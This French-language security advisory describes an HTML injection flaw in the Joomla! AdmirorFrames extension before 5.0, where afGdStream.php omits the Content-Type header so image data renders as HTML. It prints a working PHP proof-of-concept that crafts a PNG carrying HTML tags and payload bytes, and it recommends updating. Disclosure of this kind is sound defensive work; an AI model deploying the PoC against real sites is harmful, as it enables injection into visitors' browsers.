
AdmirorFrames Extension Joomla! < 5.0 - Injection HTML
Extension Joomla! AdmirorFrames < 5.0 - Injection HTML
Injection HTML dans l'extension Joomla! AdmirorFrames dans le fichier afGdStream.php qui ne définit pas la valeur de l'en-tête Content-Type avant d'envoyer les données d'image. Cela entraîne l'envoi par PHP de la valeur par défaut de cet en-tête (text/html) et fait que les données d'image sont interprétées comme un document HTML.
Exemple de script PHP qui génère un PNG avec les champs largeur et hauteur définis à la balise HTML <s> :
<?php
$_payload="AAA";
if(strlen($_payload)%3!=0){
echo "payload%3==0 !\n"; exit();
}
$_pay_len=strlen($_payload);
echo "LEN: $_pay_len\n";
$width=0x733e; //<s>
$height=0x3c;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,"example.png");
Résultat du rendu du fichier de preuve de concept example.png par le navigateur web :
preuve de concept
Ce problème a été causé par l'utilisation de la valeur par défaut de l'en-tête Content-Type. Ce problème a été corrigé dans l'extension Joomla! AdmirorFrames à la version 5.0.
< 5.0
Mettez à jour l'extension Joomla! AdmirorFrames vers la version 5.0 ou une version plus récente.